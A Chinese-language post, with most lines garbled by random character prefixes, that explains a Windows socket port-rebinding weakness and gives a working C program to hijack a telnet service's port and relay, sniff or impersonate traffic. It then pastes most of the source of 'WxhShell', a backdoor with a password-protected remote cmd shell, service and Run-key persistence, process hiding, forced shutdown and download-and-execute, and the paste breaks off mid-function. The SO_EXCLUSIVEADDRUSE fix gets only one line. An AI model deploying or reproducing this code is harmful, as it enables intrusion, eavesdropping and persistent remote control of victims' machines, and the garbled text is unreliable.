在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1Vrh4g.l s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
koZ*+VP= qzKdQ&vO saddr.sin_family = AF_INET;
uXJ;A * ZQ%'`q\c saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~-_kM 2a`o
&S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
L\xk:j1[ Ez
fN&8E 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
vyK7I%T'R (3Two} 这意味着什么?意味着可以进行如下的攻击:
.*Ct bGw $j5K8Ad 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
emqZztccZ ^6MU
0Q2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
p'*>vk G\Cp7:j} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
lhAX;s&9 mGJKvJF
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6;\I))"[ (a.z9nqGA 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
w[zjerH3 =hC,@R>; 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
93("oBd[s( [65`$x- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~962i#&4 ao1(]64X" #include
`1$@|FgyC #include
"55skmD.P #include
RI
5yF #include
k;AD`7(= DWORD WINAPI ClientThread(LPVOID lpParam);
(|:M&Cna] int main()
vNV/eB8#S {
`.~N4+SP WORD wVersionRequested;
Rg\z<wPBG DWORD ret;
fk6%XO WSADATA wsaData;
A+ZK4]xb BOOL val;
)wam8k5 SOCKADDR_IN saddr;
&:9cAIe]H SOCKADDR_IN scaddr;
=.f-w0V int err;
;c-(ObSm SOCKET s;
#~}nFY. SOCKET sc;
Wuc S:8#| int caddsize;
ZM!CaR HANDLE mt;
9kN}c<o DWORD tid;
B(LWdap~ wVersionRequested = MAKEWORD( 2, 2 );
~:kZgUP_f err = WSAStartup( wVersionRequested, &wsaData );
S;3R S; if ( err != 0 ) {
/YP{,#p printf("error!WSAStartup failed!\n");
sJ;g$TB return -1;
vj'wm}/ }
: UGZ+ saddr.sin_family = AF_INET;
s C%&cRQD 42_`+Vt]d7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;f0I
8i,JN tZ:_ag)o saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
^ =bu(L saddr.sin_port = htons(23);
:mh_G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m4hX 'F {
E4`N-3 printf("error!socket failed!\n");
]/[FR 5> return -1;
m[?E }
|oH,
val = TRUE;
#%a;"w //SO_REUSEADDR选项就是可以实现端口重绑定的
N..yQ-6x? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
&zl|87M {
5{|7$VqPF printf("error!setsockopt failed!\n");
gf#{k2r return -1;
-BrMp%C }
_E &A{HkJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
8n#HFJ~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
PWaw]*dFmy //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
A -H& .b3Qfxc> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
nrL9
E'F' {
/\ y?Y ret=GetLastError();
3KRd printf("error!bind failed!\n");
b3&zjjQ return -1;
9_L[w\P|4 }
l4 D+Y listen(s,2);
?{P"O!I{ while(1)
@TLS<~ {
QwNly4 caddsize = sizeof(scaddr);
!O+)sbd< //接受连接请求
"cE7
5 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
dsb `xw if(sc!=INVALID_SOCKET)
^=BTz9QM {
63q^ $I mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]e"=$2d$ if(mt==NULL)
9TgIB {
9_q#W'/X printf("Thread Creat Failed!\n");
(Mo*^pVr break;
KSbKEA }
y6ECdVF }
7,U=Qe; CloseHandle(mt);
7]U"Z* }
4,bv)Im+ ` closesocket(s);
<;9I@VYK WSACleanup();
nno}e/zqf return 0;
r54&XE]O }
9v;Vv0k_ DWORD WINAPI ClientThread(LPVOID lpParam)
RY]#<9>M {
`>7;! SOCKET ss = (SOCKET)lpParam;
chcbd
y>C SOCKET sc;
14Xqn8uOW unsigned char buf[4096];
dT`D:)*: SOCKADDR_IN saddr;
6CV*
Z\b long num;
8UXjm_B^' DWORD val;
@)UZ@ ~R DWORD ret;
8ZM?)#`@{ //如果是隐藏端口应用的话,可以在此处加一些判断
5m*iE*+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:}Xll#.,m saddr.sin_family = AF_INET;
j| v%)A saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
v0
nj M saddr.sin_port = htons(23);
Upc+Ukw if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
j>*R]mr6 {
k52/w)Ro,$ printf("error!socket failed!\n");
)bS~1n_0 return -1;
wF
IegC( }
Sc>,lIM val = 100;
S'|,oUWDb if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?zeJ#i {
^WHE$4U` ret = GetLastError();
o>).Cj return -1;
@E;=*9ek{u }
4iqoR$3Fc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LIS)(X<]? {
9 %8"e>~ ret = GetLastError();
*EOdEFsR/ return -1;
?^H
`M|S }
_g+JA3sIJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Vu)4dD! {
|*oZ_gI printf("error!socket connect failed!\n");
))R5(R closesocket(sc);
OP~HdocB closesocket(ss);
)T/0S$@ return -1;
DNOueU }
f1`gdQ)H while(1)
!Z`j2
e} {
aUzBV\Yd} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:V1W/c //如果是嗅探内容的话,可以再此处进行内容分析和记录
MC?,UDNd% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#D<C )Q num = recv(ss,buf,4096,0);
k&&2Tq if(num>0)
`s"'r ! send(sc,buf,num,0);
_4rFEYz$d else if(num==0)
'[U8}z3 break;
{\S+#W\ num = recv(sc,buf,4096,0);
m`v2: S} if(num>0)
#Vl 0.l3 send(ss,buf,num,0);
*}]Nf
else if(num==0)
jq-p;-i break;
;Yx )tWQI }
8}c$XmCM closesocket(ss);
?{\nf7Y closesocket(sc);
^$%S &W return 0 ;
M9Cv
wMi }
ZW-yP2 ]=.\-K ?i)f^O ==========================================================
l,R/Gl XxT#X3D/," 下边附上一个代码,,WXhSHELL
qd9c I& vqnw#U4` ==========================================================
Ipf|")* !,l9@eJQ #include "stdafx.h"
,LTH;<zB) c|lu&}BS #include <stdio.h>
@x9a?L.48 #include <string.h>
0Oi,#]F #include <windows.h>
P7J>+cm #include <winsock2.h>
$"`- ^ #include <winsvc.h>
kd=GCO #include <urlmon.h>
;KOLNi-B& RSr
%n1 #pragma comment (lib, "Ws2_32.lib")
I[=j&rK` #pragma comment (lib, "urlmon.lib")
l/BLUl~z Jpj}@, #define MAX_USER 100 // 最大客户端连接数
b^ L
\>3 #define BUF_SOCK 200 // sock buffer
B||*.`3gN #define KEY_BUFF 255 // 输入 buffer
$.C=H[QC :@kGAI #define REBOOT 0 // 重启
{_b%/eR1 #define SHUTDOWN 1 // 关机
mYxuA0/k t2EHrji~ #define DEF_PORT 5000 // 监听端口
-mC0+}h w3#Wh|LQ- #define REG_LEN 16 // 注册表键长度
kUq=5Y `D #define SVC_LEN 80 // NT服务名长度
W!%]_I!&K ` BDLW%aL // 从dll定义API
0n@rLF typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#%`|~%`{: typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
un shH < typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
FjK3
.>' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0T@ Zb={ zw+B9PYqX // wxhshell配置信息
&yGaCq;0 struct WSCFG {
$h^wG)s2P int ws_port; // 监听端口
_ 6O\W%it char ws_passstr[REG_LEN]; // 口令
|s)Rxq){"V int ws_autoins; // 安装标记, 1=yes 0=no
L>MLi3{ char ws_regname[REG_LEN]; // 注册表键名
,RE\$~`w char ws_svcname[REG_LEN]; // 服务名
yN~dU0.G6! char ws_svcdisp[SVC_LEN]; // 服务显示名
^w(p8G_-w char ws_svcdesc[SVC_LEN]; // 服务描述信息
s<*XNNE7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
0F@"b{&0 int ws_downexe; // 下载执行标记, 1=yes 0=no
EM]s/LD@% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
MJ7 Y#<u char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+IrLDsd aF)1Nm[ };
GRGzP&}@ ^sa#8^,K // default Wxhshell configuration
jL(qf~c_ struct WSCFG wscfg={DEF_PORT,
:Nu^ "xuhuanlingzhe",
M54j@_81pX 1,
H:!7: "Wxhshell",
;ToKJ6hN|* "Wxhshell",
HuB<k3#sPy "WxhShell Service",
S7=Bd[4 "Wrsky Windows CmdShell Service",
q+P|l5_
t "Please Input Your Password: ",
aT_&x@x 1,
8S>&WR%jH] "
http://www.wrsky.com/wxhshell.exe",
([
jF4/ "Wxhshell.exe"
`n$I]_}/% };
:/y1yM 7+]=- // 消息定义模块
`^bgUmJ~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ki [UV
zd char *msg_ws_prompt="\n\r? for help\n\r#>";
%T X@I$Ba char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9v?N+Rb char *msg_ws_ext="\n\rExit.";
LAVAFlK5 char *msg_ws_end="\n\rQuit.";
;w:M`#2 char *msg_ws_boot="\n\rReboot...";
_8"O$w char *msg_ws_poff="\n\rShutdown...";
+lJG(Qd char *msg_ws_down="\n\rSave to ";
p+l !6 ElS 9?Q+ char *msg_ws_err="\n\rErr!";
r~N"ere26 char *msg_ws_ok="\n\rOK!";
)A!>=2M` (EK"V'; char ExeFile[MAX_PATH];
OC1I&",Ai| int nUser = 0;
}-ftyl7 HANDLE handles[MAX_USER];
KiI!frm1 int OsIsNt;
$tz;<M7B )_{dWf1 SERVICE_STATUS serviceStatus;
ulu9'ch SERVICE_STATUS_HANDLE hServiceStatusHandle;
/E
Bo3` 7w
37S // 函数声明
f:ZAG4B int Install(void);
Wm_4avXtO int Uninstall(void);
x8Retuv int DownloadFile(char *sURL, SOCKET wsh);
i7ISX>% int Boot(int flag);
K3m]%m2\ void HideProc(void);
vN|l\!~ int GetOsVer(void);
{S,l_d+( int Wxhshell(SOCKET wsl);
.7i` (F) void TalkWithClient(void *cs);
Uu!f,L;ty int CmdShell(SOCKET sock);
T6H}/#*tK int StartFromService(void);
MxSM@3 v( int StartWxhshell(LPSTR lpCmdLine);
)ap_Z6 3= xhoRX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#?q&r_@@ VOID WINAPI NTServiceHandler( DWORD fdwControl );
j;s"q]"x] 8#(Q_ // 数据结构和表定义
V+Cwzc^j SERVICE_TABLE_ENTRY DispatchTable[] =
/DQc&.jK {
M%1}/!J3 {wscfg.ws_svcname, NTServiceMain},
Q>/C*@ {NULL, NULL}
A/s>PhxV };
M7+nW ; e% Ul2R'"FB // 自我安装
d*A*y ^OD int Install(void)
la( <8 {
T32+3wb"I char svExeFile[MAX_PATH];
(WK&^,zQn HKEY key;
[
j3&/ strcpy(svExeFile,ExeFile);
f@8>HCI Vl_:c75" // 如果是win9x系统,修改注册表设为自启动
}@Ge}9$h if(!OsIsNt) {
'a$Gv&fu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hGd<<\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
{Z3dF)> RegCloseKey(key);
F;=4vS]\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"`M?R;DH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>tO`r.5u9 RegCloseKey(key);
RY c!~Wh~Y return 0;
t]$P 1*I }
Eq$&qV-?( }
w4W_iaU }
vz^<YZMu else {
q-]`CW]n *H?!;u=8 // 如果是NT以上系统,安装为系统服务
Gp4A.\7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
N5]0/,I} if (schSCManager!=0)
}b=}uiR# {
:T]o) SC_HANDLE schService = CreateService
si&S%4( (
]xX$<@HR schSCManager,
0KMctPT]p wscfg.ws_svcname,
9Xl`pEhC wscfg.ws_svcdisp,
y]J89
SERVICE_ALL_ACCESS,
WcHgBbNe SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
eFpTW&9n SERVICE_AUTO_START,
[%9noB SERVICE_ERROR_NORMAL,
MF~H"D
n svExeFile,
(q{Ck#+ NULL,
LbaK={tR NULL,
ogL EtqT NULL,
cU{e`<xjA NULL,
7<%<Ff@^)O NULL
U
f|>
(C );
.C2TQ:B, . if (schService!=0)
kGd<5vCs {
iXjo[Rz^C CloseServiceHandle(schService);
krsYog(^z CloseServiceHandle(schSCManager);
M7ers|&{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0PU8#2pR strcat(svExeFile,wscfg.ws_svcname);
([-|} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z^]|o<.<I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
DyeQJ7p RegCloseKey(key);
@J5Jpt*IE return 0;
uq,
{tV }
x~GQV^(l3 }
YnxRg CloseServiceHandle(schSCManager);
n|b5? 3 }
,y+$cM( }
:JfE QIN DXa=|T return 1;
0
;b[QRmy }
d}JP!xf% 6KVnnK // 自我卸载
/ODXV`3QYI int Uninstall(void)
mp9{m`Jb* {
G:pEE:W[ HKEY key;
U$
F{nZ1 9lGOWRxR) if(!OsIsNt) {
jM$`(Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
3GuH857ov RegDeleteValue(key,wscfg.ws_regname);
4O;OjUI0a RegCloseKey(key);
_~rI+l A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RRGWC$>? RegDeleteValue(key,wscfg.ws_regname);
]J:1P`k. RegCloseKey(key);
1gmt2>#v% return 0;
U5-@2YcH }
x_c7R;C }
%I-+Ead0i }
F
B?UZ else {
;Ra+=z}> _R.B[\r@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8F:e|\SB# if (schSCManager!=0)
HcedE3Rg {
]S(%[| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/[ 6j)HIS if (schService!=0)
jS+AGE?5e {
s/7 A7![ if(DeleteService(schService)!=0) {
d3W0-INL CloseServiceHandle(schService);
K]j0_~3s CloseServiceHandle(schSCManager);
,RgB$TcE return 0;
:^Fh!br== }
e"'#\tSG CloseServiceHandle(schService);
zGc:
@z }
n+BJxu? CloseServiceHandle(schSCManager);
3/b;7\M }
+,yK;^b }
zoDH` h_ yuDZ~0]R return 1;
TYlbU< }
I
j$lDJS ,_X/Gb6) // 从指定url下载文件
59zENUYl int DownloadFile(char *sURL, SOCKET wsh)
zH>hx5,k'X {
@#P,d5^G
HRESULT hr;
vjQb%/LWl char seps[]= "/";
?Q-h n:F) char *token;
mk3_ char *file;
/;tPNp{!dw char myURL[MAX_PATH];
52b*[tZ char myFILE[MAX_PATH];
NTS#sgP k6Uc3O strcpy(myURL,sURL);
u~3%bJ] token=strtok(myURL,seps);
vk>b#%1{ while(token!=NULL)
~}!3G {
?[&2o| file=token;
u$D*tqxG token=strtok(NULL,seps);
(u]N }
`u.t[ =)E,8L GetCurrentDirectory(MAX_PATH,myFILE);
6m VuyI strcat(myFILE, "\\");
8a_[B~ strcat(myFILE, file);
v3GwD00 send(wsh,myFILE,strlen(myFILE),0);
M@3"<[g send(wsh,"...",3,0);
@ JvPx 0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@h*fFiY&{ if(hr==S_OK)
HLBkR>e return 0;
"wlt> SU else
f>s?4 return 1;
r}0\}~'?c $t5V=}m> }
P
i Fm| Fbu5PWhlc // 系统电源模块
RN)dS>$ int Boot(int flag)
3SSm5{197 {
.e'eE HANDLE hToken;
6Z`R#d #I TOKEN_PRIVILEGES tkp;
Cn>ADWpT& e5.h ? if(OsIsNt) {
K9vIm4::d$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*]h`KxuO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}hYZ"
A~ tkp.PrivilegeCount = 1;
$''9K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
A].>.AI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
})w*m if(flag==REBOOT) {
7HVZZ!>~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
l ^d[EL+ return 0;
*=fr8 }
2DB7+aZ* else {
:5/Uh/sX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2 o#,kGd return 0;
wZ4tCZA }
sz @p_Z/ }
A<\JQ else {
A/7X9ir if(flag==REBOOT) {
(_4;') 9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H"Klj_<dH0 return 0;
tX!nsm1 }
*xE,sj+( else {
>|6iR%"f# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U:MPgtwe return 0;
G60R9y47c }
4CQ"8k(S" }
wnTV|^Q lNv".Y=l return 1;
$7QoMV 8V }
zE)~0v4 Fb/XC:AD // win9x进程隐藏模块
QI]Ih void HideProc(void)
Sa"9^_.2# {
Dfd-^N!
SlSM+F HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
k|BHnj if ( hKernel != NULL )
bln/1iS {
q~L^au8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
w_ {,<[# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~Ph\Sbp FreeLibrary(hKernel);
0aoHKeP }
v+e|o:o# 9S[XTU return;
Bm\qxQ }
_5MNMVLwW \v6M:KR5/ // 获取操作系统版本
l%Gw_0.?e int GetOsVer(void)
AF43$6KZP$ {
<!pQ OSVERSIONINFO winfo;
cst}Ibfi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
9s}Kl($ GetVersionEx(&winfo);
uY<
H#k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
| 3+m%;X return 1;
83cW=?UgA else
.D4bqL return 0;
>xA),^ YT }
W$qd/'% DFO7uw1 // 客户端句柄模块
]APvp.Tw: int Wxhshell(SOCKET wsl)
B/Gd(S`@q {
cL8#S>>u. SOCKET wsh;
.Hc(y7HV struct sockaddr_in client;
okq[ o90 DWORD myID;
\V2,pi8'v g\GdkiIj while(nUser<MAX_USER)
H0a/(4/xg {
CzV(cSS9- int nSize=sizeof(client);
{FN;'Uc wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
iqhOi|! if(wsh==INVALID_SOCKET) return 1;
G5D2oQa=8 55t\B ms{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
l7JY]?p if(handles[nUser]==0)
5cK@WE: closesocket(wsh);
Px5t,5xT8 else
'SLE;_TD nUser++;
o5\b'hR*# }
Aa?I8sbc WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
fqs]<qi M}DH5H"s return 0;
WxbsD S; }
9kKnAf4Z D\^WXY5e%y // 关闭 socket
xjdw'v+qZo void CloseIt(SOCKET wsh)
G6K
< {
j%<}jw[2 closesocket(wsh);
6AN)vs} nUser--;
yBLUNIr ExitThread(0);
}<MR`h1 }
+:6Ii9GN Lt#'W // 客户端请求句柄
Sx]
T/xq void TalkWithClient(void *cs)
i.iio- {
kllQca|$4 /?"8-0d SOCKET wsh=(SOCKET)cs;
8 _d-81Dd char pwd[SVC_LEN];
%;z((3F char cmd[KEY_BUFF];
?IX!+>.H char chr[1];
OlxX.wP int i,j;
r^HAa GpC j2h[70fWC while (nUser < MAX_USER) {
SW(q$i K#K\-TR|$ if(wscfg.ws_passstr) {
GR'Ti*Qi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
r)1Z(tl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^_p%Yv //ZeroMemory(pwd,KEY_BUFF);
d0er^ ~ i=0;
%u p}p/? while(i<SVC_LEN) {
;52'}%5
Jf:,y~mV // 设置超时
+rNkN:/L fd_set FdRead;
TrE3S'EU#R struct timeval TimeOut;
Jx-wO/ FD_ZERO(&FdRead);
WV kR56 FD_SET(wsh,&FdRead);
iO!6}yJ*V TimeOut.tv_sec=8;
++[5q+b TimeOut.tv_usec=0;
d]0a%Xh[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
W( *V2<$o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Em13dem N~=A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`GQ{*_- pwd
=chr[0]; RE46k`44
if(chr[0]==0xd || chr[0]==0xa) { 6R}j-1
<n
pwd=0; a0Oe:]mo\
break; -E&e1u,Mi
} ul5|.C
i++; !)Ni dG
} ]Ql 0v"` F
OCyG_DLT$5
// 如果是非法用户,关闭 socket !UV5zmS
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N:+
taz-
} fW0$s`
wpPn}[a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `T!#@&+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #j@OLvXh
j kn^Z":
while(1) { {^q)^<#JT
z>vtEV))
ZeroMemory(cmd,KEY_BUFF); +6W(z3($
>`V}U*}*H
// 自动支持客户端 telnet标准 e`UQz$4!
j=0; 9\O(n>
while(j<KEY_BUFF) { ,8K'F
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0=U70nKr
cmd[j]=chr[0]; 0.(<'!"y
if(chr[0]==0xa || chr[0]==0xd) { )3?rXsSR
cmd[j]=0; ysXx%k
break; B0mLI%B
} gb-{2p>}
j++; AO0!liQ
} @Gjny BJ
X,fu!
// 下载文件 A[/I#Im7
if(strstr(cmd,"http://")) { ):6-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {E,SHh
if(DownloadFile(cmd,wsh)) O+.*lo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z>A{i?#m
else -$4kBYC l+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -6E K#!+
} H/cTJ9zz
else { h_
!>yK
Q .RO
switch(cmd[0]) { jMpa?Jp 1
SN]LeXesS
// 帮助 ,jh~;, w2
case '?': { *v #/Y9}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i+(GNcg2
break; Dm{Ok#@r2
} T |"`8mG
// 安装 r?p{LF
case 'i': { juno.$
6
if(Install()) 3o8\/-*<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)p4]>lT+8
else Gbb\h
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); INNAYQ
break; f]_mzF=&
} w7Dt1axB
// 卸载 G%hO\EO
case 'r': { wly>H]i'
if(Uninstall()) 8$~3r a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jUY+3"?
else ( tn<
VK.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o bGWxI%a
break; wGXwzU
} wJIB$3OT
// 显示 wxhshell 所在路径 /7p>7q9g
case 'p': { #EwK"S~
char svExeFile[MAX_PATH]; 9O;vUy)
strcpy(svExeFile,"\n\r"); G=$}5; t
strcat(svExeFile,ExeFile); 3V-6)V{KaE
send(wsh,svExeFile,strlen(svExeFile),0); c f*zejbw
break; 9) ea.Gu
} <aVfJd/fT
// 重启 YN#XmX%
case 'b': { :WX0,-Gn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !C`20,U
if(Boot(REBOOT)) +i)AS0?d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%He$t
else { /yK"t<p
closesocket(wsh); @36S}5Oa
ExitThread(0); zh?4K*>.k
} v ($L
break; BI/y<6#rR
} ~gt3Omh
// 关机 #O|lfl>}
case 'd': { 8ui=2k(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TG]}X\c+V|
if(Boot(SHUTDOWN)) nEVbfNo0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JD&U}dJ
else { #:
hVF/
closesocket(wsh); )0|):g
ExitThread(0); pTET%)3
} [$:@X V(
break; qy9i9$8
} x7gjG"V
// 获取shell ak2dn]]D
case 's': { d
Uz<1^L
CmdShell(wsh); uGCtLA+sL
closesocket(wsh); ]L(54q;W
ExitThread(0); >Z"9rF2SW
break; +S0u=u65
} ,>w}xWSYpG
// 退出 pzSqbgfrQ
case 'x': { + (=I8s/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1*c>I@I;
CloseIt(wsh); |Mlh;
break; A\g%
} )[
b#g(Y(
// 离开 @LC~*_y
case 'q': { UT;4U;a,m
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~,Mr0
closesocket(wsh); xppkLoPK
WSACleanup(); ; +9(;
exit(1); EE9vk*[@C
break; 3{q[q#"
} `oPLl0
} aH^{Vv$]M@
} tQf!|]#J
j@SYXKL~
// 提示信息 4tnjXP8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;_p fwa4
} \CwtX(6.
} j`Nh7+qs
ITQ9(W
Un
return; kYtHX~@
} ,4yG(O$)
w>vmF cp
// shell模块句柄 fO+UHSC
int CmdShell(SOCKET sock) N1s.3`
{ u#!GMZJN
STARTUPINFO si; H9:%6sds
ZeroMemory(&si,sizeof(si)); 8 >dq=0:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q xSs
~Qc
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OaNc9c"
PROCESS_INFORMATION ProcessInfo; <vLdBfw&N
char cmdline[]="cmd"; i :EO(`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c
_p[yS
return 0; ooDdV
>
} O&= KlnI:
FdM<;}6T
// 自身启动模式 g~|y$T
int StartFromService(void) R9q0,yQW
{ ;x16shH
typedef struct !c."
{ <L2GUX36#
DWORD ExitStatus; -O /T?H
DWORD PebBaseAddress; "W hwc
